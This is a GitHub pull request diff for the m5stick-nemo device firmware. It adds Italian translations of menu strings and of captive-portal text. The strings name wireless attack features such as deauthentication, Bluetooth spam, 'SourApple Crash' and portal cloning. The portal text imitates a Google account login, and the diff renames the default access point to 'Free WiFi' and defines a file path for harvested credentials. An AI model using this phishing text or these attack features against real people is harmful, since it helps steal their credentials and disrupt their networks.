Skip to content
This repository has been archived by the owner on Aug 22, 2024. It is now read-only.

Update localization.h #117

Merged
merged 11 commits into from
Mar 31, 2024
100 changes: 100 additions & 0 deletions localization.h
Original file line number Diff line number Diff line change
Expand Up @@ -98,6 +98,106 @@
#define TXT_THEME "Color Theme"
#endif

#if defined(LANGUAGE_IT_IT)
#define TXT_BACK "Indietro"
#define TXT_CLOCK "Orologio"
#define TXT_SETTINGS "Configurazione"
#define TXT_NEVER "Mai"
#define TXT_SEC "secondi"
#define TXT_MIN "minuti"
#define TXT_AUTO_DIM "Luminosita Auto"
#define TXT_SET_BRIGHT "IMPOSTA LUMINOSITA"
#define TXT_BATT_INFO "Info Batteria"
#define TXT_BRIGHT "Luminosita"
#define TXT_SET_CLOCK "Imposta Ora"
#define TXT_ROTATION "Rotazione"
#define TXT_ABOUT "Info"
#define TXT_REBOOT "Riavvio"
#define TXT_CLR_SETTINGS "Canc. Settings"
#define TXT_CLRING_SETTINGS "Ripristina Default\nSettings..."
#define TXT_RIGHT "Destra"
#define TXT_LEFT "Sinistra"
#define TXT_BATT "Batteria: "
#define TXT_EXIT "Premi un tasto per uscire"
#define TXT_RG_AMERICAS "Regione:\nAmerica / Asia\n"
#define TXT_RG_EMEA "Regione: EMEA"
#define TXT_SEL_GO_PAUSE "Seleziona: Go/Pausa"
#define TXT_SEL_EXIT "Prossimo: Esci"
#define TXT_TRIG_TV "triggered TVBG"
#define TXT_MN_AMERICA "America / Asia"
#define TXT_MN_EMEA "EU/MidEast/Africa"
#define TXT_REGION "Regione"
#define TXT_FK_GP "Tasto Front.: Go/Pausa"
#define TXT_SET_HOUR "IMPOSTA ORA"
#define TXT_SET_MIN "IMPOSTA MINUTI"
#define TXT_ADV "Avviso:\n"
#define TXT_SP_RND "Swift Pair Random"
#define TXT_SEL_EXIT2 "\n\nProssimo: Esci"
#define TXT_BT_SPAM "BT Spam"
#define TXT_SA_CRASH "SourApple Crash"
#define TXT_CMB_BT_SPAM "BT Spam Misto"
#define TXT_AD_SPAM "Android Spam"
#define TXT_AJ_TRANSF_NM "Transfer Number"
#define TXT_AJ_TV_COLOR "TV Color Balance"
#define TXT_STP_NW_PH "Setup New Phone"
#define TXT_SA_ADV "SourApple Advertisement: "
#define TXT_SP_ADV "SwiftPair Advertisement: '%s' - "
#define TXT_AD_SPAM_ADV "Android Spam Advertisement: "
#define TXT_AJ_ADV "AppleJuice Advertisement: "
#define TXT_WF_SP "Spam WiFi"
#define TXT_RND_SSID " - Random SSIDs\n"
#define TXT_WF_SCAN "Scan Wifi"
#define TXT_WF_SPAM_FUN "Spam Funny"
#define TXT_WF_SPAM_RR "Spam Rickroll"
#define TXT_WF_SPAM_RND "Spam Random"
#define TXT_WF_RESCAN "[RIPETI SCANSIONE]"
#define TXT_WF_OPEN "Apri"
#define TXT_WF_CHANN "Canale : %d\n"
#define TXT_WF_CRYPT "Crypt: %s\n"
#define TXT_SEL_BACK "\nProssimo: Back\n"
#define TXT_HOLD_CLONE "Tieni Premuto: Clone\n"
#define TXT_WF_SCN "Scan WiFi"
#define TXT_WF_SCNING "Scansione in corso..."
#define TXT_INST_NXT "Prossimo: Down Arrow"
#define TXT_INST_PRV "Precedente: Up Arrow"
#define TXT_INST_SEL "Sel. : Enter or ->"
#define TXT_INST_HOME "Home: Esc or <- "
#define TXT_INST_PRSS_KEY "Premi un tasto"
#define TXT_STK_NXT "Avanti: Side Button"
#define TXT_STK_SEL "Seleziona : M5 Button"
#define TXT_STK_HOME "Home: Tasto Accensione"
#define TXT_SDCARD "Mount/Unmount SD"
#define TXT_DEAUTH_START "Seleziona>Start DEAUTH\n"
#define TXT_DEAUTH_STOP "Seleziona>Stop DEAUTH \n"
#define TXT_HOLD_ATTACK "Tieni Premuto: Attack\n"
#define TXT_WFA_PORTAL "Clone Portal"
#define TXT_WFA_DEAUTH "Deauth attack"
#define TXT_WFA_COMBINED "Deauth+Clone"
#define TXT_BLACK "Nero"
#define TXT_NAVY "Blu Scuro"
#define TXT_DARKGREEN "Verde Scuro"
#define TXT_DARKCYAN "Ciano Chiaro"
#define TXT_MAROON "Marrone"
#define TXT_PURPLE "Viola"
#define TXT_OLIVE "Olive"
#define TXT_LIGHTGREY "Grigio Chiaro"
#define TXT_DARKGREY "Grigio Scuro"
#define TXT_BLUE "Blue"
#define TXT_GREEN "Verde"
#define TXT_CYAN "Ciano"
#define TXT_RED "Rosso"
#define TXT_MAGENTA "Magenta"
#define TXT_YELLOW "Giallo"
#define TXT_WHITE "Bianco"
#define TXT_ORANGE "Arancio"
#define TXT_GREENYELLOW "Giallo Verde"
#define TXT_PINK "Rosa"
#define TXT_COLOR "Colore Pers."
#define TXT_SET_FGCOLOR "COLORE TESTO"
#define TXT_SET_BGCOLOR "COLORE SFONDO"
#define TXT_THEME "Tema Colori"
#endif

#if defined(LANGUAGE_PT_BR)
#define TXT_BACK "Voltar"
#define TXT_CLOCK "Relogio"
Expand Down
7 changes: 4 additions & 3 deletions m5stick-nemo.ino
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@
// -=-=- NEMO Language for Menu and Portal -=- Thanks, @marivaaldo and @Mmatuda! -=-=-
// #define LANGUAGE_EN_US
// #define LANGUAGE_PT_BR
// #define LANGUAGE_IT_IT
// #define LANGUAGE_FR_FR

// -- DEPRECATED - THESE ARE NOW EEPROM DEFINED -- //
Expand All @@ -25,7 +26,7 @@ uint16_t FGCOLOR=0xFFF1; // placeholder
#define CARDPUTER
#endif

#if !defined(LANGUAGE_EN_US) && !defined(LANGUAGE_PT_BR) && !defined(LANGUAGE_FR_FR)
#if !defined(LANGUAGE_EN_US) && !defined(LANGUAGE_PT_BR) && !defined(LANGUAGE_IT_IT) && !defined(LANGUAGE_FR_FR)
#define LANGUAGE_EN_US
#endif

Expand All @@ -48,8 +49,8 @@ uint16_t FGCOLOR=0xFFF1; // placeholder
#define ACTIVE_LOW_IR
#define ROTATION
#define USE_EEPROM
#define SDCARD //Requires a custom-built adapter
// #define SONG
//#define SDCARD //Requires a custom-built adapter
//#define SONG

// -=-=- ALIASES -=-=-
#define DISP M5.Lcd
Expand Down
16 changes: 13 additions & 3 deletions portal.h
Original file line number Diff line number Diff line change
Expand Up @@ -3,11 +3,12 @@
// Retaining the Portuguese translations since this project has a large
// fan base in Brazil. Shouts to CyberJulio as well.

#define DEFAULT_AP_SSID_NAME "Nemo Free WiFi"
#define DEFAULT_AP_SSID_NAME "Free WiFi"
#define SD_CREDS_PATH "/nemo-portal-creds.txt"

#if defined(LANGUAGE_EN_US) && defined(LANGUAGE_PT_BR) && defined(LANGUAGE_FR_FR)
#error "Please define only one language: LANGUAGE_EN_US or LANGUAGE_PT_BR or LANGUAGE_FR_FR"

#if defined(LANGUAGE_EN_US) && defined(LANGUAGE_PT_BR) && defined(LANGUAGE_IT_IT) && defined(LANGUAGE_FR_FR)
#error "Please define only one language: LANGUAGE_EN_US, LANGUAGE_PT_BR, LANGUAGE_IT_IT or LANGUAGE_FR_FR"
#endif

#if defined(LANGUAGE_EN_US)
Expand All @@ -28,6 +29,15 @@
#define LOGIN_BUTTON "Avançar"
#define LOGIN_AFTER_MESSAGE "Fazendo login..."
#define TYPE_SSID_TEXT "Tamanho entre 2 e 32\nInvalidos: ?,$,\",[,\\,],+\n\nDigite o SSID\nEnter para Confirmar\n\n"
#elif defined(LANGUAGE_IT_IT)
#define LOGIN_TITLE "Accedi"
#define LOGIN_SUBTITLE "Utilizza il tuo Account Google"
#define LOGIN_EMAIL_PLACEHOLDER "Email"
#define LOGIN_PASSWORD_PLACEHOLDER "Password"
#define LOGIN_MESSAGE "Effettua il login per navigare in sicurezza."
#define LOGIN_BUTTON "Avanti"
#define LOGIN_AFTER_MESSAGE "Per favore attendi qualche minuto. Presto sarai in grado di accedere a Internet."
#define TYPE_SSID_TEXT "SSID deve essere compresa tra 2 e 32\nInvalido: ?,$,\",[,\\,],+\n\nScrivi l'SSID\nPremi Invio per Confermare\n\n"
#elif defined(LANGUAGE_FR_FR)
#define LOGIN_TITLE "Connexion"
#define LOGIN_SUBTITLE "Utiliser votre compte Google"
Expand Down